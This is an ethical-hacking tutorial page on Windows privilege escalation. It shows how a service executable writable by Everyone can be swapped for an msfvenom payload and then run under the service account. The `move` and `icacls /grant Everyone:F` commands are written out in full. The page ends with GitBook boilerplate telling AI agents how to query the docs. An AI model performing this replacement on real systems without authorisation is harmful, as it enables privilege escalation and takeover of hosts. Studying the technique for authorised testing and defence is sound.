> For the complete documentation index, see [llms.txt](https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/privilege-escalation/windows/vulnerabilities-exploit/service-misconfigurations/insecure-permissions-on-service-executable.md).

# Insecure permissions on service executable

Suppose we have found a service with executable that has insecure permissions (eg. `C:\insecure\permissions\bin.exe`). The account is `srv_user`.

```powershell
C:\> sc qc [service_name]
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : ...
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\insecure\permissions\bin.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : [display_name]
        DEPENDENCIES       :
        SERVICE_START_NAME : srv_user
```

The following command (`icacls`) allows us to view the permissions of the executable:

```powershell
C:\>icacls C:\insecure\permissions\bin.exe
C:\insecure\permissions.exe Everyone:(I)(M)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Users:(I)(RX)
    ...
    ...
```

The following line: `Everyone:(I)(M)` shows that the `Everyone` group has modify `(M)` permissons on the service executable. This allows us to overwrite the executable with our own payload and have it run as the privileges of the configured service user account.

The following steps can be taken to replace the original `.exe` file with our own:

1. Use the `move` command to move bin.exe to a backup location (`.exe.bkp`). The new location can have any name or extension
2. Create a executable payload with `msfvenom`, and move the created payload to the file name of the original file (`bin.exe`)
3. Provide full permission `(F)`to the Everyone group. This allows any user to execute this file.

```powershell
C:\> cd C:\insecure\permission

C:\insecure\permission> move bin.exe bin.exe.bkp
        1 file(s) moved.

C:\insecure\permission> move [path_to_created_exe_payload] bin.exe
        1 file(s) moved.

C:\insecure\permission> icacls bin.exe /grant Everyone:F
        Successfully processed 1 files.
```

When the service is started, the executable created by us will be executed.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking-concepts/privilege-escalation/windows/vulnerabilities-exploit/service-misconfigurations/insecure-permissions-on-service-executable.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
